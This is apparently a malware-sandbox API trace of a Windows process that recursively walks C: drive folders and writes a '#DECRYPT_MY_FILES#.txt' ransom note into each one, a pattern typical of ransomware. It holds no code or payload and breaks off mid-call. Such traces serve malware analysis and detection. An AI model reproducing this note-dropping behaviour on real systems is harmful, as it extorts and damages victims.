[0031.691] GetLastError () returned 0x5 [0031.691] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0031.691] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8247f0 [0031.691] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.691] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.691] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.691] AreFileApisANSI () returned 1 [0031.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.691] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Config.Msi\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.692] CreateFileW (lpFileName="C:\\\\Config.Msi\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\config.msi\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42df30, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0031.695] GetFileType (hFile=0x78) returned 0x1 [0031.695] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.695] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x8267f8 [0031.695] GetLastError () returned 0x0 [0031.696] FindFirstFileA (in: lpFileName="C:\\\\Config.Msi\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.696] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="..", cAlternateFileName="")) returned 1 [0031.696] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5df8ae0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.696] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.696] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.696] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.696] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.696] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.696] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.696] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5df8ae0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 0 [0031.696] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.696] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x180, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0031.696] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.696] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.696] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b298 [0031.696] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.696] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b298 | out: hHeap=0x7f0000) returned 1 [0031.696] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.696] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.697] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8247f0 [0031.697] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b298 [0031.697] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.697] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b298 | out: hHeap=0x7f0000) returned 1 [0031.697] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.697] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.697] AreFileApisANSI () returned 1 [0031.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x810fc0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0031.697] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x64) returned 0x806668 [0031.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x810fc0, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=50 | out: lpWideCharStr="C:\\\\Documents and Settings\\#DECRYPT_MY_FILES#.txt") returned 50 [0031.698] CreateFileW (lpFileName="C:\\\\Documents and Settings\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\documents and settings\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42df30, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0031.698] GetFileType (hFile=0x78) returned 0x1 [0031.699] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.699] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x8267f8 [0031.699] GetLastError () returned 0x0 [0031.700] FindFirstFileA (in: lpFileName="C:\\\\Documents and Settings\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5df8ae0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 0xffffffff [0031.700] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x180, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0031.700] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.700] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b298 [0031.700] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b298 | out: hHeap=0x7f0000) returned 1 [0031.700] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.700] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x180, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0031.700] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8247f0 [0031.700] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.700] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.700] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.701] AreFileApisANSI () returned 1 [0031.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0031.701] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x48) returned 0x80be00 [0031.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80be00, cchWideChar=36 | out: lpWideCharStr="C:\\\\MSOCache\\#DECRYPT_MY_FILES#.txt") returned 36 [0031.701] CreateFileW (lpFileName="C:\\\\MSOCache\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42df30, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0031.701] GetFileType (hFile=0x78) returned 0x1 [0031.701] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80be00 | out: hHeap=0x7f0000) returned 1 [0031.701] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x8267f8 [0031.701] GetLastError () returned 0x0 [0031.702] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.702] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="..", cAlternateFileName="")) returned 1 [0031.702] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5e1ec40, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.703] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.703] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.703] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.703] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42e010, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b298 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.703] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b298 | out: hHeap=0x7f0000) returned 1 [0031.703] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.703] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.703] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.703] AreFileApisANSI () returned 1 [0031.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0031.703] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x5c) returned 0x815fa0 [0031.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x815fa0, cchWideChar=46 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\#DECRYPT_MY_FILES#.txt") returned 46 [0031.703] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.706] GetFileType (hFile=0x108) returned 0x1 [0031.706] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.706] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.706] GetLastError () returned 0x0 [0031.707] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0031.707] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.708] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5e1ec40, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.708] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.708] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.708] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.708] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.708] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.708] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.708] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0031.708] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.708] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0031.708] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0031.708] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0031.708] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0031.708] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0031.708] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.709] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x827800 [0031.709] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.709] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0031.709] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.709] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.709] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.709] AreFileApisANSI () returned 1 [0031.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0031.709] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xae) returned 0x806668 [0031.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=87 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt") returned 87 [0031.709] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0031.711] GetFileType (hFile=0x120) returned 0x1 [0031.711] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.712] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x827f88 [0031.712] GetLastError () returned 0x0 [0031.712] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fd, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0031.715] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fd, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0031.715] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5e1ec40, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fd, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.715] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.715] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.715] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.715] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.715] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.715] HeapFree (in: 